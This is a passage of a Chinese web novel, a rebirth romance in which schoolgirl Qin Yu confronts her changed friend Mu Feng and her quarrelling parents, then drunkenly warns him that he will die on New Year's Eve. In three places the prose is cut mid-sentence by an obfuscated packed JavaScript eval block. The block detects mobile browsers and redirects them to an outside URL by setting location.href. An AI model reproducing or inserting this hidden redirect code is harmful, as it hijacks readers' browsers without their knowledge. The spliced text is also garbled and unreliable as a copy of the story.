眼角余光瞥见黄越云黯淡下来的神情,秦遇假装不耐烦地挥挥手。 “去去去,我们女生的活动,你一个大男生瞎凑什么热闹。” 一边说着,一边对黄越云使了个眼色,黄越云对她露出一个充满感激的笑,鼓起勇气对徐伟民说,“徐伟民,我知道附近新开了一家很好吃的米线店,你要不要去试试?” “好啊,放学就去,我请你。” “不用不用,我请你吧。” …… 听着身后传来的声音,秦遇的嘴角轻轻扬起。 年少的心动,未必有结果,也不必有结果,和对方同吃的一顿饭、同走的一段路,本身已经足够美丽。 周五的放学铃声,就像解禁的预告,铃声一响,原本昏昏欲睡的同学,纷纷一跃而起,争相往外跑。 秦遇陪着姚摇去美术教室拿了画具,再去车棚推车子时,学校里的人已经走得差不多了。 两个人推着车子,边聊天边走边往外走,一出校门,就听见烤红薯摊传来喇叭声。 “烤地瓜、烤地瓜,又香又甜的烤地瓜,他考上了北大,你考上了清华,我烤上了地瓜……” 该说不说,这句让人忍俊不禁的俏皮话里,倒是隐含着冲破学历桎梏的自嘲。 姚摇瞪大双眼,“对了,小遇,我看新闻上说,北大毕业还有卖猪肉的呢,你敢相信吗?” “嗯,我好像也看见过那条新闻,不过,卖猪肉和卖烤地瓜,也不一定就挣得少。” 旁边卖糖葫芦的大叔插嘴,“没错,你们是不知道,刘大姐靠着卖烤地瓜,已经把儿子送到美国念书去了。” 正在烤炉前忙活的刘大婶打断他,“切,别瞎说,那是我儿子自己申请了奖学金,不过,我们娘俩能活下来,倒真是靠了这口烤炉。” 秦遇和姚摇叉好车子,站在路边,啃着烤地瓜,听两人闲谈,大致知道了刘大婶年轻时被丈夫抛弃,独自一人拉扯大儿子的经历,心中对她不由多了几分感佩。 这样一个其貌不扬、没有文化,略显臃肿的中年妇女,若有人想听,她的故事也值得一句荡气回肠的评价。 吃完烤地瓜,身上暖烘烘得,两人顶着冷风骑到六大道,吃了一家开了很多年的麻辣烫,两人吃得双颊发红、额头出汗,浑身畅快,出来在街边的精品店转了转,最后在路口分手,一个往东走,一个往西走。 刚过七点,天色已经暗下来,路边的街灯亮起,前面有一家公园,小时候班级春游时,曾经来过,一晃都这么多年了,秦遇忽然起了念头,想进去走一走。 骑着车子进了公园,发现这里已经被改建成了一处游乐场,套圈的、打弹珠的、石膏模型上涂色的,再往里走,还有一个小型的海盗船和过山车。 秦遇现在对过山车有了心理阴影,看见就害怕,所以尽管这只是一个低幼版的过山车,她还是立刻转头,向园外走。 从最近的出口出来,她才发现自己走错了路,这不是来时的路,而是一条没走过的街。 六大道的街上,店铺林立,灯火通明,这边的街上却只有零星几个店铺,连路灯都不是全亮着,有坏的,还有一闪一闪不稳定的,街边也少有人走。 越走越没底,她掉转头,打算找到刚才出来的门,再穿过公园回到六大道。 车胎不知道什么时候漏了气,越骑越累,她干脆下来,推着车子走。 就在这时,身后响起机车引擎的轰鸣声,由远及近,越来越大,听声音就知道,不止一辆车。 她下意识回头,看见暗夜中,几辆摩托车极速驶来,呼啸而过,她呆呆地看着最前面那一辆,整个人几乎石化在那里。 领头的那个没戴头盔,路灯下,他那醒目的红色头发像火焰一样耀眼。 摩托从她身边驶过的一瞬间,她用尽全身力气大喊一声,“穆逢!” 她从不知道,自己的身体里能爆发出这样的能量,这一声尖利高亢,几乎震破她自己的耳膜。 她把车子“哐当”丢到地上,撒开腿追上去,冷风从大张的嘴里灌进来,在胸腔里横冲直撞,撞得她五脏六腑都疼。 多可笑,人腿怎么能追得上摩托车?可意识到这一点的她,还在不停地跑。 直到脚下一趔趄,整个人扑倒在地,手心被粗糙的地面擦破,她却觉不出疼。 只知道抬头往前看。 前面哪还有人? 爬起来,再往后看,除了苍茫夜色,什么也没有,连一个路人都没有。 她几乎以为刚刚是自己出现了幻觉。 右手边,冷硬的栏杆反射着月光,栏杆里是一排叫不出名字的树,像高耸而沉默的士兵,树的另一侧就是公园,那里的笑声和交谈声,远得像是另一个世界。 就在这时,机车的轰鸣声又隐隐响起,若隐若现,她伸长了脖子往声音传来的方向看,远远的,看见一个亮点,接着,又是几个亮点,越来越亮。 是车灯。 轮胎在地面磨出尖叫,轰隆隆的引擎声此起彼伏,空气中远远传来肆意的笑声和口哨声,夹杂着几句粗话。 原来他们在飙车。 她死死盯着车来的方向,盯着最前方那抹火红的颜色。 他怎么会在这里? 他怎么能在这里? 不知不觉,她竟然走到了马路中间。 那辆半人高的摩托车,在距离她只有一寸的地方停住。 雪白的车灯刺得她流下眼泪,她却固执地不肯闭眼。 她要看清白光后的人。 “我操!” “找死啊!” “哪里来的臭娘们!” 后面的摩托车接踵而至,纷纷停下,咒骂声响起,她却充耳不闻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214219|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 车灯暗下来,他的轮廓逐渐显露。 坚毅的下巴,高挺的鼻梁,立体感十足的侧颜,锋利如刀的眉眼。 只是,这眼睛里,不再是她熟悉的柔软,而是一片漠然。 他冷冷地看着她,像在看一个人陌生人。 “穆逢,你……你为什么在这里?你不是……” “哎呀,好烦,人家正玩得开心,怎么就停下了?” 一道娇嗔的女声响起,秦遇一愣,接着,一个女生从穆逢身后走出。 原来,他车上载着一个女生,而那女生细长的手臂,刚才一直缠在他腰间。 女生戴着一顶粉色头盔,穿着短小的黑色修身皮衣,勾勒出修长丰满的身形,和同样穿着黑色皮衣的他,无比登对。 她摘下头盔,一头瀑布一样的卷发拖到腰间,她仰起头时,路灯打在她脸上,照出一张精心修饰过的艳丽面孔。 这张脸,莫名有些熟悉,却又想不起来在哪里见过。 女生把胳膊搭在穆逢肩头,姿势亲昵而娴熟,穆逢很自然地低头凑近她,和她说了句什么,两人都笑了。 从他们身后,传来一个粗哑的男声。 “喂,怎么回事,二中的乖乖女也来追咱们逢哥?哈哈哈!” “你们没听说过吗?男人不坏,女人不爱,肯定是之前逢哥在二中,就喜欢上了,这么晚了还巴巴地追过来,够主动的!可惜,咱们逢哥已经有姐了!” 几个男生哄笑起来,笑声像鸭子一样粗嘎刺耳,回荡在空气中。 秦遇两手紧握成拳,指尖深深陷入掌心。 “去他妈的!” 穆逢回头低斥了一声,声音里却夹杂着懒懒的笑意。 换做是以前,他一定早就冲上去揍人了。 他根本容不得别人说她一句。 她深吸一口气,重复了一遍刚才的问题。 “你为什么在这里?” 穆逢低头,从皮衣兜里摸出一根烟,刁在嘴里,接着,朝身边的女生略一偏头,女生会意,立刻拿出打火机,“嗤”一声火苗窜起,点燃香烟。 穆逢深吸一口,把烟吐出来。 秦遇皱眉看着他这样吞云吐雾,一着急,往前走了一步,大声质问他,“你怎么又开始抽烟了?” 穆逢朝着她吐出一口气,把香烟夹在指间,斜睨着她,冷冷地说,“你管我?” 曾几何时,他也曾这样问过她。 在她第一次问他收作业的时候,在她告诉他不要抽烟的时候。 一切仿佛兜了个圈子,又回到了原点。 他身后的男生仍在哄笑、吹口哨,那留着一头长卷发的女生,也点燃了一根烟,靠在他身边。 女生一米七多的身高和他十分匹配,两人吞云吐雾的姿势也莫名地有着一样的节奏。 “闪开,你挡路了。” 穆逢突然开口,语气冷然凶狠,看她的眼神透着浓浓的不耐烦。 秦遇被刺痛,闭了闭眼,心头反而生出一股决然,下一瞬,她从兜里翻出随身携带的两枚棒棒糖,用尽全力丢到地上。 棒棒糖砸在地上,发出清脆的碎裂声。 她转身,大步走向自己那倒在路边的自行车。 这个人,已经不是自己认识的那个穆逢。 56. 愤怒 她怀着一腔怒气,推着车子穿过公园,回到六大道,在路边找了个修车摊,给轮胎充上气,骑上车子闷头往家冲。 一路骑,一路在心里咒骂穆逢。 渣男!混蛋!垃圾!大骗子! 黑心烂肺! 不学无术的小混混! 没品位!庸俗至极! 诅咒他抽烟抽到肺烂掉,诅咒他出门被车撞…… 算了,就算是生气到极点,她也不想咒人死,更何况是他。 眼泪不知什么时候流下来,又在不知不觉中被风吹干,只知道骑到家门口时,因为泪水被反复风干,脸上的皮肤变得又紧又皱。 钥匙插进锁孔,“咔哒”一声转动,争吵声从门缝里漏出。 她一把推开门。 灯火通明的客厅里,妈妈和爸爸正分立两头,怒目相视,互相指责。 “……姓秦的,别以为我不知道你干得好事,天天晚上不着家,说是应酬,有多少次都是在陪小三,我姐妹都看见了,不要脸!” “你不要血口喷人,我为了这个家多辛苦,谁知道?谁能分担?你只知道围着孩子和灶台打转,能帮我什么……” 秦征一脸惶惑不安,正紧紧抱着妈妈的手臂,给她递纸。 秦遇气得太阳穴突突地跳。 上一世,多少次父母吵架,她和秦征两个都躲在门外,坐在台阶上,胆战心惊地听着门里的动静,爸爸的吼声、妈妈的哭声、碗碟摔在地上的破裂声,一下一下撕扯着他们的神经。 一种忍无可忍的冲动涌上心头。 她反手重重关上门,走到两人中间,大吼一声,“够了!你们两个有完没完?要吵出去吵!我和秦征要睡觉、要休息、明天还要写作业!” 向来文静的女儿头一次这样发飙,于月云和秦勇毅愣住,一时之间竟然说不出话。 “你们大人有大人的压力,小孩也有小孩的烦恼,你们俩看看秦征,他都快吓哭了,你们知不知道,每次你们一吵架,我们做儿女的承受着多少压力?” 她用手背抹一把脸上的泪,梗着嗓子说, “能过就过,过不了就离!我先说好,我跟我妈,秦征,你呢?” 秦征怔怔地看着她,没想到这个一向柔和的姐姐,突然变得凌厉果决。 他抓紧妈妈的手臂。 “我,我也要跟妈妈。” “行了,爸,反正你也一心扑在工作上,你干脆直接住到公司吧,以后不用回来了,每个月给妈妈抚养费就行,至少得养我们到十八岁吧?” 秦爸爸动了动嘴,表情十分尴尬,“你这孩子,瞎说什么,什么离婚,我跟你妈妈只是拌几句嘴……” 秦妈妈也不哭了,擦掉眼泪,拉起她的手,“小遇啊,是爸妈不好,我们不吵了,不吵了,你们俩快去睡觉。” 这场争吵,以这样出乎意料的方式结束,秦遇不想搭理爸爸,也没心情安慰妈妈,一言不发走进自己的卧室,反锁上门。 糟心的事一件接一件,想打开随身听听歌,想起随身听是穆逢送的,瞬间更气了。 他居然这样欺骗她,说什么要离开这里,去处理一些事,她还全心全意地相信了。 半年多的时间里,她只偶尔给他发过几条□□,而他每次都是过了几天才回,内容还极其简短。 她问他最近还好吗?他回还好。仅此而已。 呸! 明明只给她一个人坐过的摩托车后座,现在坐上了别的女生,还戴着她的粉色头盔! 她想起那个女生靠在他身边的亲昵模样,她那张在路灯下仰起的艳丽面孔,兼具少女的清爽和成熟女性的妩媚感。 一道白光划过脑海。 想起来了! 她终于回想起,在哪里见过这个女生。 在地球村的网吧,曾经有个穿着修身连衣裙的女生,大大方方地走到穆逢面前,表达好感。 “帅哥,你好,我是十七中高二的,我叫亢丽娜,交个朋友吧?” 她的记忆力一向很好,在意的事情,哪怕是细枝末节,都能记得很清楚,就像现在,她已经一字不落地回想起这句话。 对了,就是十七中,穆逢身后那堆男生里,有两个就穿着十七中的校服。 十七中是本城知名的混子高中,里面的学生大多不学无术,还经常和社会上的三教九流打交道,每年高三毕业生中能考上本科的都是凤毛麟角。 打架斗殴、早恋堕胎,关于十七中的出格传闻,常年流传在中学生圈。 穆逢骗了她,然后转头去了十七中。 可是,为什么? 十七中,十七中,十七中。 秦遇躺在床上,睁大眼睛看着天花板,努力思索着。 上一世,穆逢也转学了,他转去了哪个学校?是十七中,还是十二中? 想不起来,真得想不起来。 一阵寒风吹过,窗玻璃上的树枝影子摇动起来,像是张牙舞爪的怪物要扑过来。 她盯着那影子看了半天,冬天了,叶子都掉光了,果然不如夏天好看。 冬天了。 这个词从脑中划过,她后颈的寒毛几乎竖起来。 她抓过枕边的小灵通,用颤抖的手指按下按键,看着锁定画面上的“12月18日”,忽然觉得有些喘不过气来。 一整个晚上,她只顾着生气,差点忘了最重要的事:穆逢和上一世一样,在高二转学到了本市另一所学校。 按照这个发展趋势,他会不会,再次死在除夕夜? 本来以为他已经离开H城,逃离了悲惨的命运,谁知他竟然还留在这里,还一副性情大变的样子。 难道,冥冥中有什么不可思议的可怕力量,在操纵这一切? 怀着惊惧不安的心情,秦遇一整晚都没睡踏实。 第二天一早,秦妈妈就敲开各人的房间,把他们召集到客厅,宣布,“今天我要出去散心,你们俩跟着爸爸,有事找他解决。” 秦爸爸看着空空的饭桌,皱起眉,“早饭呢?” 秦妈妈白了他一眼,“你有手有脚,不会自己做?就算不会做饭,不能出去买?” 抢白完,跟两个孩子分别抱了抱,拎起皮包头也不回地出了家门。 秦遇乐了,对妈妈的背影竖起大拇指。 秦爸爸脸上,头一次出现有点茫然的神情。 秦征转向他。 “爸爸,我饿了。” “哦,好,爸爸这就下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236106|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买早餐。” 不一会,秦爸爸就提着一大兜吃的回来,豆浆、油条、豆腐脑、小笼包、茶叶蛋、鸡蛋灌饼……,摆了满满一桌,颇有点展示父爱如山的架势。 “小遇,小征,快坐下吃饭,爸爸把门口好吃的都买了一遍,快趁热吃。” 秦征尝了一口最爱的豆腐脑,“呸”一口吐了出来,“我不吃香菜,爸爸你为什么要让他们放香菜?” 秦爸爸露出尴尬的神情,“啊,不吃香菜?爸爸忘了提醒老板。” 秦征又拿起一个小笼包,咬了一口立刻吐出来,一跃而起冲到厨房,抓起水杯把大半杯水咕咚咕咚都灌下去。 这才长舒一口气,埋怨地瞪着爸爸,“这豆腐包是辣的,我不能吃辣!爸爸你怎么回事?妈妈从来不会做这种事,她记得我爱吃什么不爱吃什么。” “这……下次爸爸就知道了,来来来,吃油条,油条总不会出问题吧。” 秦征更气了。 “我根本就不爱吃油条,家里就你一个人爱吃油条,每次妈妈买油条,都是给你买的。” “那,随便吃点别的吧,啊?中午我带你去奶奶家吃好吃的,爸爸记得,你最爱吃你奶奶炖的栗子鸡和粉蒸肉……” 秦遇冷眼看着这出闹剧,拿起手边的豆浆,尝试着喝了一小口,果然,甜得她几乎当场跳起来。 她吐出嘴里的豆浆,用清水漱了漱口,假装一脸无辜地抱怨,“爸,我不爱吃甜的,我喝豆浆从来不放糖。” “这,这,要不,爸爸给你们煮方便面,你们等等。” 秦爸爸的额头被客厅灯照得亮亮的,仔细一看,原来是急出了汗。 秦遇“哦”了一声,往椅背上一靠,看着在厨房手忙脚乱煮面的爸爸,露出一抹冷笑。 对孩子的饮食口味一无所知,只是一顿早餐,就弄得鸡飞狗跳,网上那句话怎么说的来着? 父爱如山? 父爱如山体滑坡还差不多! 这样,看他还敢不敢说妈妈“只知道围着灶台和孩子打转”? 不到十一点,秦爸爸就催促姐弟两人收拾东西,说是要带他们去看望奶奶。 “奶奶很想你们,我们也要去尽尽孝心。” 秦遇听见这话就想笑。 如果她还是一个十六七岁的少女,她是真得会被爸爸这些说辞骗过,可是现在,她看得分明:离了妈妈,爸爸根本完全不会照顾孩子,找奶奶不过是变相求援。 呵,在家靠妈,结婚后靠老婆,他这一生还真是轻松。 秦征不是很想去,可是架不住栗子鸡和粉蒸肉的诱惑,再加上爸爸承诺午饭后带他去买玩具,挣扎了几分钟,就去收拾东西了。 “我不去,作业太多,我要在家赶作业。” 秦遇丢下这句话,转身进了卧室。 门外传来爸爸的声音,“小遇,爸给你在桌上留了100块钱,你想吃什么就去买。” “哦,知道了。” 她不冷不热地回了一句,直到听见大门关上的声音,才走出来。 她把自己扔到沙发上。 好了,终于只剩她一个人了,她要好好琢磨琢磨,该怎么跟穆逢交涉。 这事不能就这么算了。 57. 摊牌 她要和他对峙,要让他把事情掰开了、揉碎了给自己讲清楚! 无论是骗她离开H城的事,还是那个女生的事。 如果他真的变心了,那就把他送的所有东西都还给他,和他两清。 但是还要提醒一下他,留在这座城市会有危险。 内心响起一个小小的声音。 “如果他不听呢?” 那就随便他吧,他要找死,我也拦不住! 她在客厅里来回走了几圈,最后,目光定格在沙发上的小灵通上。 快刀斩乱麻,是最简单的方法。 她抿了抿唇,下定了决心。 找到他的电话号码,按下“拨打”键。 线路畅通,证明这个号码他还在用。 可是“滴”了半天,没人接。 她有点生气,想着或许他手机静音了,又或者在忙其他的事,漏接电话,也算正常。 耐着性子看了会书,差不多每看一页就要抬头看看墙上的钟表,终于,时间过去十五分钟了。 她再次拨打电话。 还是没人接。 秦遇有些泄气,还有些恼。 这算什么? 她固执地再打一次、两次、三次,始终没人接。 情况明了,他在躲着她。 秦遇气得牙痒痒,转头看见餐桌边的玻璃橱柜里放着一支红酒,走过去给自己倒了一杯。 浓醇的酒液在玻璃杯里摇晃,散发出红宝石般的光泽。 秦遇仰头,喝下一小口。 圆润微涩的酒液,滑过口腔、咽喉,丰富的果香扩散开,舒缓了她的情绪。 她慢慢坐下,左臂支在桌上,右手晃着酒杯,一小口一小口地啜饮。 一个小时后,她出现在枫云酒店的最高层走廊里,找到穆逢所住的套房,抬手“咚咚咚”地敲门。 她不知道他是不是还住在这里,她只知道,除了这里,她也不知道还能去哪里找他。 “穆逢,开门。” “穆逢,开门。” 敲到地第三下的时候,门忽然从里面拉开,穿着一身蓝色休闲装的穆逢,出现眼前。 秦遇怔住,敲门的手悬停在半空。 “你还在这里?” 她的表情有一瞬间的迷茫,接着,才想起自己应该生气,可那生气中,又混杂着丝丝委屈。 “你怎么……” 她想问问,你怎么还在H城,你怎么还住这里? 可是,眼角余光瞥见他身后有人,她侧了侧身,看见一抹窈窕的身影站在落地玻璃窗前。 那个女生也正抬眸看过来,她认出了她,是那个叫亢丽娜的女生。 当即怒从心头起,她抬起手,重重给了穆逢一巴掌。 这一巴掌用尽了全身的力气,导致她打完后整个人都抑制不住地发抖。 穆逢被打得脸偏向一边。 空气安静了几秒,接着,亢丽娜匆匆赶过来,与此同时,秦遇抬起手,指向穆逢,声泪俱下地大骂“渣男!”“大骗子!”“不要脸!” 穆逢的脸上,浮起一个清晰的红手印,他却毫不在意,反而一把拉过秦遇的手,问她“手疼不疼?” 接着,转向讷讷停住的亢丽娜,沉声道“你先回去。” “是。” 亢丽娜一个闪身,从门口离开,甩甩头发走向电梯。 秦遇看着面前低垂了眉眼,观察自己手的穆逢,猛地抽回手,把他往身后一推,“滚开,渣男不要碰我。” 穆逢冷不防被推到墙上,也不在意,又过来拉她的手,“你到底喝了多少酒?全身都是酒味,连头盔都忘了摘。” 秦遇眨了眨眼,像是听不懂他在说什么,趁着她发呆的空当,穆逢干脆利落地解开搭扣,摘下她的头盔,又把她拉进房间,顺手关了门。 “你不要碰我!” 秦遇忽然尖叫一声,甩开穆逢的手,往后退了半步,后背抵住门。 穆逢无奈地举起双手,“好,好,我不碰你,乖,小遇,别气了,过来,到沙发上坐会好不好?” 他又用那种温柔朦胧的眼神看她,又用这样小心翼翼的语气和她说话。 一瞬间,仿佛过去的穆逢又回来了。 满腔委屈汹涌喷出。 “你不是喜欢我的吗?你为我剪短头发,和我的笔友比谁更帅,让我坐你的摩托车后座。” “粉色头盔不是专属于我的吗?为什么要给她戴?” “明明说好,以后不再抽烟的,我还给你买了一大罐棒棒糖,可以吃到明年……” “为什么?为什么要骗我?” 她边说边哭,眼泪像小溪一样不断流下来,砸在地毯上,也砸在穆逢的心上。 哭着哭着,她又发起狠来。 “我最恨别人骗我,我本来以为你和吕程那个垃圾不一样,没想到,你们都是一个德行!” “你的东西,还给你,我才不要!” 她从随身小包里掏出他送的随身听,重重摔在地上。 红色的金属机身,在空中划出一道弧线,落在地毯上,又反弹到墙上,撞出一声锐响。 她透过朦胧的泪眼瞪着他,视线落在他的手腕上,看到他还戴着自己编的那只手链,冲过去就要扯下来。 “手链还给我,你不配戴我亲手编的手链。” “我要跟你割席,两清……” 穆逢扣住她的手,带着她一个转身,把她摁在墙上,一只手轻捏她的下巴,迫使她看向自己。 “你要和我两清?嗯?” 秦遇恶狠狠地瞪着他,“对,渣男就该滚蛋,我要和你两清。” 说着,她又要伸手去扯他手腕上的手链,穆逢叹了口气,忽然把她拉到怀里,紧紧抱住她。 “对不起。” 他的声音闷闷地响起,夹杂着无尽苦涩。 “对不起。” 他又重复了一遍。 “我是个不详的人,离我太近的人,都没有好下场。” 被酒精搅得迷迷糊糊的秦遇,根本听不进他的话,她只知道,自己有很多话要说,有很多情绪要发泄。 他把她抱得这样紧,一只手按住她的后脑勺,让她靠在他的颈窝。 他光滑紧实的脖颈就在眼前。 秦遇张开嘴,用力咬了下去。 应激反应之下,穆逢的脖颈一硬,随即放松下来。 坚硬的牙齿深陷在肉中,锋利光滑的边缘划开一道口子,丝丝腥咸味窜入口中。 秦遇“呸”地吐了一口,松开他。 她看着穆逢,脸上没了刚才的愤怒和委屈,反而愣愣地,足有半分钟之后,她忽然“啊”了一声,揪住他的衣领。 “你怎么还在这里?你不能在这里!你会死的,你懂不懂?” 穆逢的眸光猛然收缩,可他随即垂下眼,温柔地拉起她的手。 “小遇,你在沙发上休息一下,我给你煮红茶喝,好不好?” 秦遇用力摇头,抓紧他的手,声音因激动而发抖。 “穆逢,你相信我,你要离开这里,离得越远越好!否则,你就会死在除夕夜!” “嗯,我知道,我们先去休息好不好?” 穆逢漫不经心的语调,惹急了她,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236107|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇大声说,“我有证据,你等着,我拿给你看。” 说着,转身去找自己的包,可她实在不胜酒力,身子东倒西歪,眼看就要撞到墙,穆逢一把扶住她,从身后的墙上拿下包,送到她手里。 “你的包在这里。” 秦遇立刻拉开拉链,从里面掏出一个紫色硬质皮的本子。 “这里记着我所有的计划,你看,第四条就是,我不会记错的……” 秦遇焦急地把记事本举到他眼前。 穆逢抬眸,几行清晰工整的字映入眼帘。 “不嫁吕程。” “阻止爸爸出轨。” “搞钱。” 第四行,用不同颜色的笔又加了一条,“救他。”下面用小字标注了时间:除夕夜,地点:余庆路和长盛路交叉处。 后面还用粗笔画了三条感叹号。 秦遇带着哭腔问他,”你看到了吗?我没骗你。” 认真说起来,这种东西,怎么能当成证据? 可是穆逢点点头,问她,“为什么你会知道这些?” “我……”秦遇愣住,眼神忽然变得警惕,往四周打量一圈,确定周围没有人,才凑到他耳边低声说,“为了让你相信我,我只能说了,这件事,我连姚摇都没说过。” 穆逢捻起一缕垂到她嘴角的头发,别到她耳后,低低说一声“嗯。” “其实,我是重生的,我活了两次。上一世,你就是在除夕夜,死在那条小巷里。他们说,凶手一直没找到。” “这下,你总可以信我了吧?” 秦遇紧紧抓着他的手,注视着他的眼睛,两个人的鼻尖只差一点就要碰上。 穆逢看着她,慢慢点了点头,“我信。” 秦遇眼中泛出喜悦的神采,“那你快走,离开这里,再也不要回来。” “好,你先休息,我去给你煮红茶。” 穆逢扶着她躺到沙发上,拿出靠枕塞在她腰后,又从卧室抱来一床毯子给她盖上。 折腾了这么久,秦遇也确实累了,抱着毯子眯起眼。 穆逢在厨房烧水,找出茶叶,等待水开的时间里,他始终看着秦遇。 她好像不太舒服,一直在翻身,调整姿势,眉头也微微皱着。 从以前他就觉得,她和吕程好像认识,一看见吕程,她就不自觉地皱眉,眼睛里写满厌恶。 她从来没有这样先入为主地讨厌一个同学,除了吕程。 反过来说,吕程极大地牵动着她的情绪。 不嫁吕程的意思是,嫁过? “啪”一声脆响,手里的骨瓷杯被他硬生生捏碎。 穆逢低头,看见一手碎掉的瓷片和粉末,一道血痕,从瓷片下蜿蜒爬出。 他把碎掉的杯子丢进垃圾桶,拿一张手帕简单擦了下手心,继续煮茶。 他煮了自己最拿手的热橙红茶,把自己常用的杯子洗干净,盛了一杯,端给秦遇。 秦遇喝了酒,本来就渴,迷迷糊糊地睁开眼,就着他的手喝了大半杯茶,脸上的表情舒缓了不少,又抱着毯子躺下。 穆逢就坐在她旁边,把她因为翻身而糊到脸上的头发拨开,然后安静地看着她。 必须狠心推开她,才能确保她的安全。 那个人,已经开始动手了。 他每多见她一次,她就多一分危险。 秦遇忽然坐起来,脸色苍白,表情十分痛苦。 “穆逢,我好难受。” 穆逢紧张地凑近她,“怎么了,是哪里难受?” 秦遇上半身晃了晃,一张嘴,“哇”一声吐了出来,全吐到了毯子和穆逢身上。 58. 绑架 头痛欲裂,嗓子眼像有一把火在烧。 秦遇张了张嘴,迷迷糊糊地说“水,想喝水。” “水?好好,马上来。” 一个熟悉的女声响起,接着,是急促的脚步声、拖鞋鞋底摩擦地板的声音、开门和关门的声音。 然后,有人从身后拖起她的背,把一杯水送到她嘴边。 秦遇低头喝了一大口水,感觉力气渐渐回到身体,喝到后面,开始自己接过水杯,咕咚咕咚地喝了个干净。 抬眼扫了一圈,看见熟悉的蓝色史基仔玩偶和贝壳形台灯,她已经知道自己在哪里了。 她回过头,对上姚摇写满担忧的大眼睛。 “我没事,别担心,不过,我怎么会在你家?” “等一下。” 姚摇拿一个熊掌形的大靠枕,给她塞在背后,扶着她靠床头坐好,又拨开她盖住眼皮的凌乱的刘海,这才坐在她面前,长出一口气。 “是穆逢送你过来的,他说你喝多了,叫我看着你,多喂你喝点水。” 穆逢送她来的? 秦遇摇了摇头,一些模糊的片段从脑海中划过。 姚摇早就憋了一肚子的话,现在见她醒过来,终于忍不住了。 “你是怎么和穆逢在一起的?他不是离开这里了吗?你跟他现在算怎么回事?” “还有,他送你过来时,脸上有一个巴掌印,红红的,脸都肿了。” 听到巴掌印三个字,秦遇下意识低头,看了看自己的手。 喝酒之后的很多细节,她都记不清了,只记得两件事。 她打了他一巴掌,又吐了他一身。 姚摇一拍手,“果然是你扇的!” 秦遇抿了抿嘴,没说话。 衣服的袖子好像格外长,她伸手去挽袖口,觉得有点不对劲,低头一看,身上的毛衣外套不是自己。 男士款灰色开襟毛衣,质地柔软有筋骨的羊绒,穿在自己身上明显大很多。 她指指自己,“这件衣服?” 姚摇摆摆手,“不是我给你换的,穆逢把你送来时,你就穿着这件。” 说着,又小声嘀咕,“他把你包得严严实实,像包婴儿似得,喏,他的外套和围巾还在那里。” 秦遇顺着她的手看去,见床位的印花扶手沙发上,堆放着一件黑色羽绒服、同色冷帽和一条蓝色围巾。 秦遇明白过来,大概是她自己的衣服沾上了呕吐物,穆逢就拿了自己的毛衣给她穿。 可是,他给她换的衣服? 一想到自己沾满呕吐物,又哭又闹的样子,她就窘迫得无地自容,穆逢被这样的她打了一巴掌,还给她换了干净衣服。 手指伸进毛衣里,摸到了秋衣的棉质纹理下摆,又低下头,扯开内衣领口,看见胸罩边缘…… “喂,老实交代,你们俩干什么了?” 姚摇突然开口,一副兴师问罪的模样,吓了她一跳。 “没,没什么啊,什么也没有。” “那你为什么低头看内衣?” “我,我是看看有没有吐到了内衣里,因为我吐了,他才帮我换衣服的,你知道吧。” 姚摇抱起双臂,佯装生气地瞪了她一眼,“你等着。” 然后拿起水杯,蹬蹬蹬走到客厅,几秒后又飞回来,把满满一杯水送到她面前,“把这杯水喝完,然后跟我说说,你们俩之间到底怎么回事。” 秦遇确实很渴,接过水一口气喝下大半杯,正要开讲,忽然意识到一件事,拉开窗帘往外一看,天已经完全黑下来。 她惊恐地看向姚摇,“摇摇,现在几点了?该不会很晚了吧,糟了,我现在还不回家,我妈一定着急了。” 说着就要下床,姚摇把她按回去。 “你~放~心。” 姚摇把桌上的小灵通递给她,“现在七点多了,阿姨六点十几分时打来电话,我接的,我说你在我家玩了一天,睡午觉还没醒,吃完晚饭再走。” “那就好,那就好。” 秦遇靠回床头,长出一口气。 “行了,歇够了,也喝饱了,快给我讲。” “好好,讲,马上讲。” 秦遇就把那天和她在六大道分开后的事讲了一遍,说到穆逢和一群十七中的学生一起飙车,车后还坐着亢丽娜时,姚摇气得几乎跳起来。 等她说到上午去敲穆逢的门,一开门,就看见亢丽娜在他屋里,姚摇气得脸都红了。 “你怎么才打他一巴掌?该左右开弓,一边一个,渣男就该被打成猪头!” 说着,又埋怨她,“这事你怎么不早告诉我?我要早知道他这么渣,他送你来的时候,我就不会对他那么客气,非得给他几拳。” 姚摇说着,冲空中狠狠来了一记上勾拳。 “他一路公主抱把你送进来的时候,我还觉得他挺有担当的,原来只是渣男的愧疚,呸!” 姚摇还在愤愤不平,秦遇却一脸平静,“算了,就这样吧,反正我也打了他,以后桥归桥、路归路,就当不认识。” 她不记得自己对穆逢说了哪些话,却记得,当时自己的情绪很激动,或许骂了他,好像还砸了什么东西。 一抹红色从空中划过。 